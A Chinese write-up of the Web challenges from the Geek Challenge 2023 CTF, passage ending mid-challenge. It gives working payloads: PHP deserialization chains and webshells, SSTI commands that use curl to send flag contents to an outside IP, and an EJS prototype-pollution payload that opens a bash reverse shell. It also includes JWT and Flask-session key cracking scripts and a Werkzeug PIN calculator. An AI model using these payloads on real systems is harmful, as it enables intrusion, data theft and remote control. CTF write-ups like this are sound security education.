极客大挑战2023 Web方向题解wp 全

最后排名 9/2049

玩脱了,以为28结束,囤的一些flag没交上去。我真该死啊QAQ

EzHttp

前言:这次极客平台太安全了谷歌不给抓包,抓包用burp自带浏览器。

密码查看源码->robots.txt->o2takuXX's_username_and_password.txt获得

postman一把梭。

唯一要注意的就是最后要求$_SERVER['HTTP_O2TAKUXX']=="GiveMeFlag"

** S E R V E R ∗ ∗ 超全局变量保存关于报头、路径和脚本位置的信息。 ' _SERVER** 超全局变量保存关于报头、路径和脚本位置的信息。` SERVER∗∗超全局变量保存关于报头、路径和脚本位置的信息。'_SERVER['HTTP_O2TAKUXX']就是http头中的参数O2TAKUXX`。

unsign

直接给了源码:

简单php反序列化,链子是syc::__destruct()->lover::__invoke()->web::__get()

EXP:

php 复制代码
<?php
highlight_file(__FILE__);
class syc
{
    public $cuit;
    public function __destruct()
    {
        echo("action!<br>");
        $function=$this->cuit;
        return $function();
    }
}

class lover
{
    public $yxx;
    public $QW;
    public function __invoke()
    {
        echo("invoke!<br>");
        return $this->yxx->QW;
    }

}

class web
{
    public $eva1;
    public $interesting;

    public function __get($var)
    {
        echo("get!<br>");
        $eva1=$this->eva1;
        $eva1($this->interesting);
    }
}

//syc::__destruct()->lover::__invoke()->web::__get()

$a=new syc();
$a->cuit=new lover();
$a->cuit->yxx=new web();
$a->cuit->yxx->eva1='system';
$a->cuit->yxx->interesting='tac /flag';

echo serialize($a);

?>

n00b_Upload

文件上传,简单测了一下只给传.php后缀????

同时木马<?= @eval($_POST[1]);?>可行,但是木马<script language='php'>@eval($_POST[1]);</script>不给传,二分法测试应该是整段过滤。。。。

尝试访问uploadtest/391284_653a70260a272.php。getshell

easy_php

都是一些php基础绕过,不再讲了,直接给payload:

复制代码
GET:

?syc=welcome%20to%20GEEK%202023!&lover=1e9

POST:

SYC[GEEK.2023=1&SYC[GEEK.2023=Happy to see you!&qw=%25PDF-1.3%0A%25%E2%E3%CF%D3%0A%0A%0A1%200%20obj%0A%3C%3C/Width%202%200%20R/Height%203%200%20R/Type%204%200%20R/Subtype%205%200%20R/Filter%206%200%20R/ColorSpace%207%200%20R/Length%208%200%20R/BitsPerComponent%208%3E%3E%0Astream%0A%FF%D8%FF%FE%00%24SHA-1%20is%20dead%21%21%21%21%21%85/%EC%09%239u%9C9%B1%A1%C6%3CL%97%E1%FF%FE%01%7FF%DC%93%A6%B6%7E%01%3B%02%9A%AA%1D%B2V%0BE%CAg%D6%88%C7%F8K%8CLy%1F%E0%2B%3D%F6%14%F8m%B1i%09%01%C5kE%C1S%0A%FE%DF%B7%608%E9rr/%E7%ADr%8F%0EI%04%E0F%C20W%0F%E9%D4%13%98%AB%E1.%F5%BC%94%2B%E35B%A4%80-%98%B5%D7%0F%2A3.%C3%7F%AC5%14%E7M%DC%0F%2C%C1%A8t%CD%0Cx0Z%21Vda0%97%89%60k%D0%BF%3F%98%CD%A8%04F%29%A1&yxx=%25PDF-1.3%0A%25%E2%E3%CF%D3%0A%0A%0A1%200%20obj%0A%3C%3C/Width%202%200%20R/Height%203%200%20R/Type%204%200%20R/Subtype%205%200%20R/Filter%206%200%20R/ColorSpace%207%200%20R/Length%208%200%20R/BitsPerComponent%208%3E%3E%0Astream%0A%FF%D8%FF%FE%00%24SHA-1%20is%20dead%21%21%21%21%21%85/%EC%09%239u%9C9%B1%A1%C6%3CL%97%E1%FF%FE%01sF%DC%91f%B6%7E%11%8F%02%9A%B6%21%B2V%0F%F9%CAg%CC%A8%C7%F8%5B%A8Ly%03%0C%2B%3D%E2%18%F8m%B3%A9%09%01%D5%DFE%C1O%26%FE%DF%B3%DC8%E9j%C2/%E7%BDr%8F%0EE%BC%E0F%D2%3CW%0F%EB%14%13%98%BBU.%F5%A0%A8%2B%E31%FE%A4%807%B8%B5%D7%1F%0E3.%DF%93%AC5%00%EBM%DC%0D%EC%C1%A8dy%0Cx%2Cv%21V%60%DD0%97%91%D0k%D0%AF%3F%98%CD%A4%BCF%29%B1

ctf_curl

题目描述:命令执行?真的吗?

直接给了源码

粗略一看,断绝了curl读取文件的可能。

但是不难发现,直接给出了flag路径,而且题目描述提示不用命令执行。

查找所有curl命令的使用,发现可以使用无回显RCE中的http 信道带出文件内容:

payload:

复制代码
?addr=xxxxxx.requestrepo.com -T /tmp/Syclover

可行!成功带出了flag文件/tmp/Syclover

flag 保卫战

题目描述:管理员为了flag不被发现,一顿操作后,自己都不知道访问的密码了 QAQ

开题是一个登录界面

0x01、信息搜集

未登录界面,源码里面有访客密码 和 验证密码获得flag的路由/flag,传参?pass

登录后的界面/upload,源码中有不可见提示csrf token 10 秒失效(由此判断我们需要用自动化脚本),源码中还有前端js源码,暴露了所有路由。

/file-list:列出当前已上传且未被删除的文件列表

/new-csrf-token:获取和设置新的 CSRF 令牌

登录后随便传一个文件,后缀自动改成了.key

初始jwt的密钥就是password用户的密码123456

看看登录后的页面,管理员密码是一直在变的,由我们上传的临时文件内容决定。


0x02、看所有包

重开环境。之前所有步骤都抓包看看包。

未登录的包(啥都没有)

登录时候的包(啥都没有,账号密码json传参)

登录后的包(只有jwt-token,不变的)

上传文件时候的包

访问路由/new-csrf-token获取动态csrf密钥的包(只有jwt-token,不变的)

访问路由/flag验证身份的包(只有jwt-token,不变的)


0x03、理清思路

1、可以肯定的是我们要在十秒内(csrf token有效期)上传四个及以上文件,手动上传不用考虑csrf token,因为js源码中上传时候会自动更新,就是担心30s内无法上传+验证。但是这个如果要通过自动化脚本实现很容易,同时我们可以传一次文件更新一次csrf token,确保脚本可以一直运行下去。

2、验证究竟是如何验证呢?题目源码给的提示是/flag?pass=123456,应该是在这个路由验证了而不是直接/login路由登录。

3、验证方式是什么?一开始我误以为传参?pass=四个文件内容就可以了,但是经过几小时失败,以及前文提到的jwt密钥就是password的密码123456,不难意识到jwt也是一重验证。

4、jwt如何改?前文提到的jwt密钥就是password的密码123456,虽然password的初始jwt+密码123456无法通过验证,但是我们验证admin身份还是需要?pass=四个文件内容=admin密码+用户admin,密钥admin密码1111的jwt。


0x04、自动化脚本撰写

这里有一个坑点,就是我们脚本中 获取csrf token、上传文件、读取文件列表时候附带的jwt密钥需要改改,密码还是123456,但是用户得是admin

这个也是试出来的,20:00开赛,脚本从11:00改到第二天凌晨。。。。。

具体为什么用户名要改成admin,个人暂时想法如下:

1、可行性:题目环境中jwt改了用户名没事,改了密钥就直接无效了。

2、必要性:也许用户只能读取以自己身份写入的文件,比如我password用户写入的文件,admin是无法读取的,所以对admin来说没有文件,就没有由四个文件构成的密码了。

查看脚本运行结果,验证上述必要性:

可以看到,文件确实是分用户的,JWT如果是admin用户,上传的文件名命名是admin-0xx.key,JWT如果是password用户,上传的文件名命名是password-0xx.key。(个人感觉这个是一个混淆点,一开始让我误以为文件名字意思是这个是密码文件,而不是password用户文件)

最后脚本如下:

python 复制代码
#Jay17
import json
import requests
import threading

#靶机地址
url = "https://rhk4wscflc7hgds1uoth4z1xd.node.game.sycsec.com"

session = requests.session()

# 往下两行的filename是表单字段名,抓包获得。
file = {
    'filename': ('1.txt', '1', 'text/plain')  # 请求头Content-Type字段对应的值,手动抓的包里面看
}

#password用户登录的jwt,自己修改成admin用户,jwt密钥还是123456不变
jwttoken = 'eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6ImFkbWluIiwiZXhwIjoxNjk4MzgyNTUzfQ.iSuLQGSzXqS0OHnV6Md5i7v8pDuIVIYa1m22A6cfNP0'




# 写文件方法,不停的写,burp代理(proxies)可以看看请求包(极客不给抓包,其他比赛可以)
def write():
    while True:
        # 获取动态csrf密钥
        r = session.get(url=url + "/new-csrf-token",
                        cookies={'jwt-token': jwttoken})  # ,proxies={"http":"127.0.0.1:8080"})
        print(r.text)
        csrf = r.text
        # 上传文件
        data = {'yak-token': csrf}
        r = session.post(url=url + "/upload", data=data, files=file,
                         cookies={'jwt-token': jwttoken})  # ,proxies={"http":"127.0.0.1:8080"})
        print(r.text)


# 读文件列表、自动登录验证
def read():
    while True:
        # 读取文件
        r = session.get(url=url + "/file-list", cookies={'jwt-token': jwttoken})  # ,proxies={"http":"127.0.0.1:8080"})
        print(r.text)

        #登录验证
        #jwt是admin用户,jwt密钥是四个文件连起来内容1111
        r=session.get(url=url + "/flag?pass=1111", cookies={'jwt-token': 'eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6ImFkbWluIiwiZXhwIjoxNjk4MzgyNTUzfQ.PoFcmmc6hUksjK_Rtu6U647GrCiO392DeE5CU51Wx_c'})
        print()
        print(r.status_code)
        # print(r.headers)
        # print(r.cookies['jwt-token'])
        # print(r.cookies)
        print(r.text)



# 双线程,不停写不停读和验证
threads = [threading.Thread(target=write), threading.Thread(target=read)]

for t in threads:
    t.start()

最后运行脚本得到flag

klf_ssti

开题。

经过一系列信息搜集(源码,扫后台),发现我们的SSTI入口应该是/hack?klf=xxx

不知道是哪个语言的ssti,传入什么都返回klf别想,如{``{7*7}}123。服务是由nginx支持的,盲猜Python的SSTI,先fuzz一波。

没有fuzz出过滤,但是可以发现,确实是存在SSTI,比如只传入{``{时会500 Internal Server Error

不过啥都无回显,不知道执行成功没有。。

复制代码
/hack?klf={{config.__class__.__init__.__globals__['os'].popen('tac /f*').read()}}

先拿curl命令测一波,发现命令确实能执行成功!!!

复制代码
/hack?klf={{config.__class__.__init__.__globals__['os'].popen('curl 120.46.41.173:9023').read()}}

http信道带出数据,md出题人藏flag...

复制代码
/hack?klf={{config.__class__.__init__.__globals__['os'].popen('curl 120.46.41.173:9023/`ls /app/f*`').read()}}
复制代码
/hack?klf={{config.__class__.__init__.__globals__['os'].popen('curl 120.46.41.173:9023/`tac /app/fl4gfl4gfl4g`').read()}}

ez_remove

直接给了源码:

php 复制代码
<?php
highlight_file(__FILE__);
class syc{
    public $lover;
    public function __destruct()
    {
        eval($this->lover);
    }
}

if(isset($_GET['web'])){
    if(!preg_match('/lover/i',$_GET['web'])){
        $a=unserialize($_GET['web']);
        throw new Error("快来玩快来玩~");
    }
    else{
        echo("nonono");
    }
}
?>

我们只需要绕过对lover的正则匹配和抛出错误即可。

绕过方式为十六进制+GC回收。

十六进制:PHP反序列化 | Y4tacker's Blog (gitee.io)

复制代码
O:4:"test":2:{s:4:"xxxa";s:3:"abc";s:7:"asdfrew";s:3:"def";}
可以写成
O:4:"test":2:{S:4:"xxx\61";s:3:"abc";s:7:"asdfrew";s:3:"def";}
表示字符类型的s大写为S时,会被当成16进制解析。

GC回收可以看这篇:绕过__wakeup() 反序列化 合集_Jay 17的博客-CSDN博客

EXP:

php 复制代码
<?php
class syc{
    public $lover;
    public function __destruct()
    {
        eval($this->lover);
    }
}
$a=new syc();
$a->lover="phpinfo();";

echo serialize($a);

?>

生成payload:

复制代码
O:3:"syc":1:{s:5:"lover";s:10:"phpinfo();";}

改成如下所示,利用十六进制和GC绕过限制。

复制代码
O:3:"syc":1:{S:5:"lo\76er";s:10:"phpinfo();";

难崩的是,这里有disable fuction。不能直接执行命令了。

那我们起手连蚁剑,接下来讲讲怎么连蚁剑。

先写个转接头:

复制代码
GET:?web=O:3:"syc":1:{S:5:"lo\76er";s:18:"assert($_POST[1]);";

POST:1=要执行的代码

然后连蚁剑,测试发现爆红。

解决办法是将https改成http。(https太安全了呜呜呜)编码器记得选base64

蚁剑还是很好用的,总动列出了所有可用的函数,并且蚁剑会用这些函数自动进行相关文件操作,可视化的显示给我们。

flag在根目录/f1ger文件中,但是直接打开不显示内容。

蚁剑有自带绕过功能,如果直接查看flag文件没权限,可以试试在虚拟终端cat /flag。

ez_path

开题。

给了源码

反编译之后是这样的:

python 复制代码
import os, uuid
from flask import Flask, render_template, request, redirect

app = Flask(__name__)
ARTICLES_FOLDER = 'articles/'
articles = []


class Article:
    def __init__(self, article_id, title, content):
        self.article_id = article_id
        self.title = title
        self.content = content


def generate_article_id():
    return str(uuid.uuid4())


@app.route('/')
def index():
    return render_template('index.html', articles=articles)

@app.route('/upload', methods=['GET', 'POST'])
def upload():
    if request.method == 'POST':
        title = request.form['title']
        content = request.form['content']
        article_id = generate_article_id()
        article = Article(article_id, title, content)
        articles.append(article)
        save_article(article_id, title, content)
        return redirect('/')
    else:
        return render_template('upload.html')


@app.route('/article/<article_id>')
def article(article_id):
    for article in articles:
        if article.article_id == article_id:
            title = article.title
            sanitized_title = sanitize_filename(title)
            article_path = os.path.join(ARTICLES_FOLDER, sanitized_title)
            with open(article_path, 'r') as (file):
                content = file.read()
            return render_template('articles.html', title=sanitized_title, content=content, article_path=article_path)
        return render_template('error.html')  # 如果找不到对应的文章,则返回错误页面

def save_article(article_id, title, content):
    sanitized_title = sanitize_filename(title)
    article_path = ARTICLES_FOLDER + '/' + sanitized_title
    with open(article_path, 'w') as (file):
        file.write(content)




def sanitize_filename(filename):        #过滤函数,被过滤的字符都替换成下划线
    sensitive_chars = [
        ':',
        '*',
        '?',
        '"',
        '<',
        '>',
        '|',
        '.']
    for char in sensitive_chars:
        filename = filename.replace(char, '_')
    return filename


if __name__ == '__main__':
    app.run(debug=True)

继续信息搜集,查看源码发现flag应该在/f14444,同时有两个路由/home/upload

博客存在python控制台,有读取文件计算PIN码进控制台执行命令的可能。(可行的方法,文件都能读,不做了)

我们先计算PIN码来读取源文件,反编译的源码可能不全。

1.username

通过getpass.getuser()读取或者通过文件读取/etc/passwd

2.modname

通过getattr(mod,"file",None)读取,默认值为flask.app

3.appname

通过getattr(app,"name",type(app).name)读取,默认值为Flask

4.moddir

flask库下app.py的绝对路径、当前网络的mac地址的十进制数,通过getattr(mod,"file",None)读取实际应用中通过报错读取,如传参的时候给个不存在的变量

5.uuidnode

mac地址的十进制,通过uuid.getnode()读取,通过文件/sys/class/net/eth0/address得到16进制结果,转化为10进制进行计算

6.machine_id

机器码,每一个机器都会有自已唯一的id,(Linux下)machine_id由三个合并(docker就后两个):1./etc/machine-id 2./proc/sys/kernel/random/boot_id 3./proc/self/cgroup(第一行的/docker/字符串后面的内容)

一般生成pin码不对就是这错了

依次读取文件:(虽然可以直接读取flag呜呜)

1.username :root

2.modname:flask.app

3.appname:Flask

4.moddir:/usr/local/lib/python3.9/site-packages/flask/app.py

5.uuidnode:253636626821197

6.machine_id:31e70710-1d09-4cda-bc57-a7a012a89ef7docker-8220349aefd48f822d7435a7eaac7697e4c8fdfaa6d1ee4660ce6ca65047fc2c.scope

计算PIN码脚本:

python 复制代码
#sha1
import hashlib
from itertools import chain
probably_public_bits = [
    'root'# /etc/passwd
    'flask.app',# 默认值
    'Flask',# 默认值
    '/usr/local/lib/python3.9/site-packages/flask/app.py' # 报错得到
]

private_bits = [
    '253636626821197',#  /sys/class/net/eth0/address 16进制转10进制
    #machine_id由三个合并(docker就后两个):1./etc/machine-id 2./proc/sys/kernel/random/boot_id 3./proc/self/cgroup


    #'653dc458-4634-42b1-9a7a-b22a082e1fce55d22089f5fa429839d25dcea4675fb930c111da3bb774a6ab7349428589aefd'#  /proc/self/cgroup
    #'docker-8220349aefd48f822d7435a7eaac7697e4c8fdfaa6d1ee4660ce6ca65047fc2c.scope'  #  /proc/self/cgroup
    #'31e70710-1d09-4cda-bc57-a7a012a89ef7'  #/proc/sys/kernel/random/boot_id
    '31e70710-1d09-4cda-bc57-a7a012a89ef7docker-8220349aefd48f822d7435a7eaac7697e4c8fdfaa6d1ee4660ce6ca65047fc2c.scope'  #/proc/sys/kernel/random/boot_id+/proc/self/cgroup
]

h = hashlib.sha1()
for bit in chain(probably_public_bits, private_bits):
    if not bit:
        continue
    if isinstance(bit, str):
        bit = bit.encode('utf-8')
    h.update(bit)
h.update(b'cookiesalt')

cookie_name = '__wzd' + h.hexdigest()[:20]

num = None
if num is None:
    h.update(b'pinsalt')
    num = ('%09d' % int(h.hexdigest(), 16))[:9]

rv =None
if rv is None:
    for group_size in 5, 4, 3:
        if len(num) % group_size == 0:
            rv = '-'.join(num[x:x + group_size].rjust(group_size, '0')
                          for x in range(0, len(num), group_size))
            break
    else:
        rv = num

print(rv)

笑。。。。执行不了一点,不知道为什么。

PIN码可行,我们做别的方法Python 中的路径穿越

参考:警惕: Python 中的路径穿越_zzzzls~的博客-CSDN博客

复制代码
# os.path.join
>>> os.path.join('/home/download', '../../opt/logo.png')
/home/download/../../opt/logo.png

# pathlib
>>> pathlib.Path('/home/download') / '../../opt/logo.png'
/home/download/../../opt/logo.png

【如果某个部分为绝对路径,则之前的所有部分都会被丢弃并从绝对路径开始继续拼接】

# os.path.join
>>> os.path.join('/home/download', '/opt/logo.png')
/opt/logo.png

# pathlib
>>> pathlib.Path('/home/download') / '/opt/logo.png'
/opt/logo.png

阅读源码,源码反编译有点不全,但是看有路径拼接,猜测/home路由也是路径拼接,用到了os.path.join()或者pathlib.Path()方法,所以造成了上述python路径穿越漏洞。

存的时候应该是articles/+什么什么。读的时候以为特性直接就读后半段绝对路径了,比如/etc/passwd

所以,根目录下flag文件直接读取就好啦:

源码反编译有点问题,做完后去找出题人姐姐要了一下源码:

python 复制代码
import os
import uuid
from flask import Flask, render_template, request, redirect
app = Flask(__name__)

ARTICLES_FOLDER = 'articles/'
articles = []

class Article:
    def __init__(self, article_id, title, content):
        self.article_id = article_id
        self.title = title
        self.content = content

def generate_article_id():
    return str(uuid.uuid4())

@app.route('/')
def index():
    return render_template('index.html', articles=articles)

@app.route('/home')
def home():
    return render_template('home.html', articles=articles)

@app.route('/upload', methods=['GET', 'POST'])
def upload():
    if request.method == 'POST':
        title = request.form['title']
        content = request.form['content']
        article_id = generate_article_id()
        article = Article(article_id, title, content)
        articles.append(article)
        save_article(article_id, title, content)
        return redirect('/home')
    else:
        return render_template('upload.html')

@app.route('/article/<article_id>')
def article(article_id):
    for article in articles:
        if article.article_id == article_id:
            title = article.title
            sanitized_title = sanitize_filename(title)
            article_path = os.path.join(ARTICLES_FOLDER, sanitized_title)
            with open(article_path, 'r') as file:
                content = file.read()
            return render_template('articles.html', title=sanitized_title, content=content, article_path=article_path)
    return render_template('error.html')  # 如果找不到对应的文章,则返回错误页面

def save_article(article_id, title, content):
    sanitized_title = sanitize_filename(title)
    article_path = ARTICLES_FOLDER + '/' + sanitized_title
    with open(article_path, 'w') as file:
        file.write(content)


def sanitize_filename(filename):
    # 替换敏感字符为下划线 _
    sensitive_chars = [':', '*', '?', '"', '<', '>', '|','.']
    for char in sensitive_chars:
        filename = filename.replace(char, '_')
    return filename

if __name__ == '__main__':
    app.run(debug=True, host='0.0.0.0',port=5000)

os.path.join()方法,猜测成立!

you konw flask?

二血拿下。

开题,源码没东西。

注册+登录试试,提示我们要成为教练。

验证身份的方式是session。

复制代码
eyJpc19hZG1pbiI6ZmFsc2UsIm5hbWUiOiJ7eyc3JyonNyd9fSIsInVzZXJfaWQiOjJ9.ZUOS4Q.vDzAPCyc9MEptQx5vBZLVvEnSDo

扫出robots.txt

访问/3ysd8.html得到session密钥生成方式,

两端不变,密钥中间三位爆破。

爆破session密钥脚本:

py 复制代码
import itertools
import flask_unsign
from flask_unsign.helpers import wordlist
import requests as r
import time
import re
import sys

path = "wordlist.txt"

print("Generating wordlist... ")

with open(path,"w") as f:
    #permutations with repetition
    [f.write('wanbao'+"".join(x)+'=wanbao'+"\n") for x in itertools.product('0123456789abcdefghijklmnopqrstuvwxyzQWERTYUIOPLKJHGFDSAZXCVBNM', repeat=3)]   #加上前缀

#url = "http://47.115.201.35:8000/index"
#cookie_tamper = r.head(url).cookies.get_dict()['session']
cookie_tamper='eyJpc19hZG1pbiI6ZmFsc2UsIm5hbWUiOiIxMSIsInVzZXJfaWQiOjJ9.ZUOXIQ.PPWPtlyo0NR_mm1V_pdrQOLy240'
print("Got cookie: " + cookie_tamper)

print("Cracker Started...")

obj = flask_unsign.Cracker(value=cookie_tamper)

before = time.time()

with wordlist(path, parse_lines=False) as iterator:
            obj.crack(iterator)

secret = ""
if obj.secret:
    secret =obj.secret.decode()
    print(f"Found SECRET_KET {secret} in {time.time()-before} seconds")

signer = flask_unsign.sign({"time":time.time(),"authorized":True},secret=secret)

flask-unsign工具用法

复制代码
解密session:flask-unsign --decode --cookie '获得的session'

爆破密钥:flask-unsign --unsign --cookie '获得的session'

加密session:flask-unsign --sign --cookie "{'logged_in': True}" --secret 'CHANGEME'

爆破指定字典:flask-unsign --unsign --cookie 'xxx --wordlist key.txt

flask-unsign工具解密session

复制代码
flask-unsign --decode --cookie 'eyJpc19hZG1pbiI6ZmFsc2UsIm5hbWUiOiIxMSIsInVzZXJfaWQiOjJ9.ZUOXIQ.PPWPtlyo0NR_mm1V_pdrQOLy240'

flask-unsign工具伪造session

复制代码
flask-unsign --sign --cookie "{'is_admin': True, 'name': '11', 'user_id': 2}" --secret 'wanbaoNjI=wanbao'

获得伪造成admin后的session。

复制代码
eyJpc19hZG1pbiI6dHJ1ZSwibmFtZSI6IjExIiwidXNlcl9pZCI6Mn0.ZUOXlA.-dQNWRyZdmqiw5XrR8P6IceeJDU

用admin身份就直接得到flag。

Pupyy_rce

直接给了源码。

复制代码
<?php
highlight_file(__FILE__);
header('Content-Type: text/html; charset=utf-8');
error_reporting(0);
include(flag.php);
//当前目录下有好康的😋
if (isset($_GET['var']) && $_GET['var']) {
    $var = $_GET['var'];
   
    if (!preg_match("/env|var|session|header/i", $var,$match)) {
        if (';' === preg_replace('/[^\s\(\)]+?\((?R)?\)/', '', $var)){
        eval($_GET['var']);
        }
        else die("WAF!!");
    } else{
        die("PLZ DONT HCAK ME😅");
    }
}

一眼无参数RCE ,过滤了env|var|session|header

注释提示当前目录下有好康的,那就先看看当前目录的文件结构

php 复制代码
print_r(scandir(getcwd()));

flag应该在当前目录下fl@g.php文件中。

但是这个文件不在返回的目录数组的头尾,我们一般的payload如show_source(next(array_reverse(scandir(getcwd()))));无法读取到flag。

知识点:

array_rand(): 从数组中取出一个或者多个单元,并且返回随机条目的一个或者多个键。

array_flip():读取当前目录的键和值进行交换,如果失败返回 NULL。

array_flip()和array_rand()配合使用可随机返回当前目录下的文件名。因为其中的键可以利用随机数函数array_rand(),进行随机生成。

payload:(多发几次,随机返回当前目录下的文件内容,会返回flag的)

php 复制代码
?var=show_source(array_rand(array_flip(scandir(getcwd()))));

开题,需要我们伪造身份为admin,然后访问/source路由

验证admin身份用的是JWT

无法用常见方法伪造JWT,源码给了hint。

密钥应该就是VanZY

当然,如果和我一样一开始没看见hint,我们爆破密钥也能出来,毕竟才五位数,毕竟一晚上挂机就行(难崩

成功伪造成admin身份后返回了源码:

js 复制代码
const express = require('express');
const jwt = require('jsonwebtoken');
const app = express();
const bodyParser = require('body-parser')
const path = require('path');
const jwt_secret = "VanZY";
const cookieParser = require('cookie-parser');
const putil_merge = require("putil-merge")
app.set('views', './views');
app.set('view engine', 'ejs');
app.use(cookieParser());
app.use(bodyParser.urlencoded({extended: true})).use(bodyParser.json())
var Super = {};
var safecode = function (code) {
    let validInput = /global|mainModule|import|constructor|read|write|_load|exec|spawnSync|stdout|eval|stdout|Function|setInterval|setTimeout|var|\+|\*/ig;
    return !validInput.test(code);
};
app.all('/code', (req, res) => {
    res.type('html');
    if (req.method == "POST" && req.body) {
        putil_merge({}, req.body, {deep: true});
    }
    res.send("welcome to code");
});
app.all('/hint', (req, res) => {
    res.type('html');
    res.send("I heard that the challenge maker likes to use his own id as secret_key");
});
app.get('/source', (req, res) => {
    res.type('html');
    var auth = req.cookies.auth;
    jwt.verify(auth, jwt_secret, function (err, decoded) {
        try {
            if (decoded.user === 'admin') {
                res.sendFile(path.join(__dirname + '/index.js'));
            } else {
                res.send('you are not admin ');
            }
        } catch {
            res.send("Fuck you Hacker!!!")
        }
    });
});
app.all('/create', (req, res) => {
    res.type('html');
    if (!req.body.name || req.body.name === undefined || req.body.name === null) {
        res.send("please input name");
    } else {
        if (Super['userrole'] === 'Superadmin') {
            res.render('index', req.body);
        } else {
            if (!safecode(req.body.name)) {
                res.send("你在做什么?快停下!!!")
            } else {
                res.render('index', {name: req.body.name});
            }
        }
    }
});
app.get('/', (req, res) => {
    res.type('html');
    var token = jwt.sign({'user': 'guest'}, jwt_secret, {algorithm: 'HS256'});
    res.cookie('auth ', token);
    res.end('Only admin can get source in /source');
});
app.listen(3000, () => console.log('Server started on port 3000'));

核心代码:

js 复制代码
var safecode = function (code) {       //过滤函数
    //使用了 i(不区分大小写)和 g(全局搜索)标志
    let validInput = /global|mainModule|import|constructor|read|write|_load|exec|spawnSync|stdout|eval|Function|setInterval|setTimeout|var|\+|\*/ig;
    return !validInput.test(code);
};

app.all('/code', (req, res) => {
    res.type('html');
    if (req.method == "POST" && req.body) {
        //污染基类入口
        putil_merge({}, req.body, {deep: true});
    }
    res.send("welcome to code");
});

app.all('/create', (req, res) => {
    res.type('html');
    if (!req.body.name || req.body.name === undefined || req.body.name === null) {
        res.send("please input name");
    } else {
        if (Super['userrole'] === 'Superadmin') {
            //渲染,原型链污染造成命令执行,反弹shell
            res.render('index', req.body);
        } else {
            if (!safecode(req.body.name)) {
                res.send("你在做什么?快停下!!!")
            } else {
                res.render('index', {name: req.body.name});
            }
        }
    }
});

思路很简单,我们首先在/code路由污染Super的父类即基类Object,使基类Object的属性userrole满足条件。在/create路由判断时候,由于Super类找不到属性userrole,会去找基类Object的属性userrole

res.render('index', req.body);处执行渲染,req.body可控,直接打ejs原型链污染的payload即可RCE。

流程是在/code路由污染完,去/create路由渲染,解析了被污染的,RCE。

获取基类Object方法:

/code路由下payload。

复制代码
{"constructor":{"prototype":{"settings":{"view options":{"escapeFunction":"console.log;this.global.process.mainModule.require('child_process').execSync('bash -c \"bash -i >& /dev/tcp/120.46.41.173/9023 <&1\"');","client":"true"}},"userrole":"Superadmin"}}}

/create路由下payload。

复制代码
{"name":"Jay17"}

vps收到shell后,在根目录下找到flag。

famale_imp_l0ve

开题,是一个文件上传界面。测了一下只能上传.zip后缀。

查看源码,发现一个包含功能的文件/include.php

/include.php源码如下:

php 复制代码
<?php
//o2takuXX师傅说有问题,忘看了。
header('Content-Type: text/html; charset=utf-8');
highlight_file(__FILE__);
$file = $_GET['file'];
if(isset($file) && strtolower(substr($file, -4)) == ".jpg"){
    include($file);
}
?>

可以%00截断,但是无法读取文件。

换种方法,我们用phar://协议。phar://协议可以读取任意后缀压缩包中的内容,如.zip

条件:

1、php.ini里面,phar.readonly改成Off,去掉前面的分号。

2、有参数是 string形式的文件名称 ($filename)的函数

3、能上传任意后缀(jpg都行)的phar包。

4、有可利用的文件操作函数,并控制了协议头,使用phar协议解析

**用法例子:**filesize("phar://xxx.phar");

先上传一个1.zip文件,其中包含一句话马,马文件后缀是.jpg

payload:

复制代码
GET:
/include.php?file=phar:///var/www/upload/1.zip/1.jpg

POST:
1=system('tac /flag');

change_it

题目描述:快来找flag!(文件上传的目录为 "/upload")

开题登陆界面,账号密码在源码中

登陆后有上传头像功能,但是user用户无权限上传头像。

直接改用户名为admin也无权限上传头像。身份校验方式是JWT。

密钥不知道,直接脚本爆破,得到密钥是yibao

python 复制代码
import jwt

token = "eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJpc3MiOiJRaW5nd2FuIiwibmFtZSI6InVzZXIiLCJhZG1pbiI6ImZhbHNlIn0.gzCFCz2Hw5c_EIjcM2lQ2QL3aDW3rAAHU2ZQ50_tnY4"      # 题目中的 token
#password_file = "C:\\Users\\86159\\PycharmProjects\\pythonProject\\WEB-xxx\\JWT\\jwtpassword.txt"           # 密码字典文件
password_file = "../wordlist.txt"  # 枚举密码字典文件

with open(password_file,'rb') as file:
    for line in file:
        line = line.strip()                          # 去除每行后面的换行
        try:
            jwt.decode(token, verify=True, key=line, algorithms="HS256") # 设置编码方式为 HS256
            print('key: ', line.decode('ascii'))
            break
        except (jwt.exceptions.ExpiredSignatureError, jwt.exceptions.InvalidAudienceError
                , jwt.exceptions.InvalidIssuedAtError, jwt.exceptions.InvalidIssuedAtError,
                jwt.exceptions.ImmatureSignatureError):              # 出现这些错误,虽然表示过期之类的错误,但是密钥是正确的
            print("key: ", line.decode('ascii'))
            break
        except jwt.exceptions.InvalidSignatureError:                 # 签名错误则表示密钥不正确
            print("Failed: ", line.decode('ascii'))
            continue
    else:
        print("Not Found.")

有了密钥就能伪造JWT了。

直接上马:

访问🐎,getshell。访问不到🐎,看了看上传界面源码,文件名是处理过的。。

先本地跑一下看看啦,php版本是8。本地可以跑出时间戳和文件名。

思路是上传成功后,马上本地查看时间戳。然后写php脚本生成时间戳前后30,一共60个文件名,直接burp爆破。

上传文件时大概的时间戳:

脚本如下:

php 复制代码
<?php
function php_mt_seed($seed)
{
    mt_srand($seed);
}

//1700575026
for ($seed = 1700575000; $seed < 1700575056; $seed++) {
    php_mt_seed($seed);
    $characters = 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789';

    $newFileName = '';
    for ($i = 0; $i < 10; $i++) {
        $newFileName .= $characters[mt_rand(0, strlen($characters) - 1)];
    }

    echo "\n".$newFileName;
}

?>

burp爆破结果如下:

访问🐎,getshell。

ezrfi

题目描述:亲爱的Syclover,你能找到flag吗???

hint:有一步是rc4解密

开题,是一个基于PHP环境的文件读取功能界面。

源码里面有hint

抽象之hint文件在/var目录下。。。。

复制代码
?file=/var/hint

secret为:

复制代码
